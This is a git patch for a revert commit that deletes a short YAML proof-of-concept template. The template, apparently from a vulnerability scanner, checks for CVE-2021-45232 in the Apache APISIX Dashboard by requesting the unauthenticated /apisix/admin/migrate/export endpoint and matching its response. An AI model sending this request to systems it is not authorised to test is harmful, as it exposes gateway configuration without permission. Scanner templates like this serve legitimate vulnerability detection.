From b382c569549d4c3a0fe1d45f612cdc720bd39c75 Mon Sep 17 00:00:00 2001 From: Raiynin <94901075+Raiynin@users.noreply.github.com> Date: Wed, 29 Dec 2021 18:22:09 +0800 Subject: [PATCH] =?UTF-8?q?Revert=20"Apache=20APISIX=20Dashboard=20?= =?UTF-8?q?=E6=9C=AA=E6=8E=88=E6=9D=83=E8=AE=BF=E9=97=AE=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=20CVE-2021-45232=20(#1563)"=20(#1564)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This reverts commit 4ce5c58d25172f3c60b392c642ef71d31895c7c3. --- ...-apisix-dashboard-cve-2021-45232-info-leak.yml | 15 --------------- 1 file changed, 15 deletions(-) delete mode 100644 pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml diff --git a/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml b/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml deleted file mode 100644 index cc25ed50e..000000000 --- a/pocs/apache-apisix-dashboard-cve-2021-45232-info-leak.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: poc-yaml-apache-apisix-dashboard-cve-2021-45232-info-leak -transport: http -rules: - r1: - request: - method: GET - path: "/apisix/admin/migrate/export" - expression: | - response.status == 200 && response.body.bcontains(b"Counsumers") && response.body.bcontains(b"Routes") -expression: - r1() -detail: - author: 凉风(https://github.com/c0olw) - links: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45232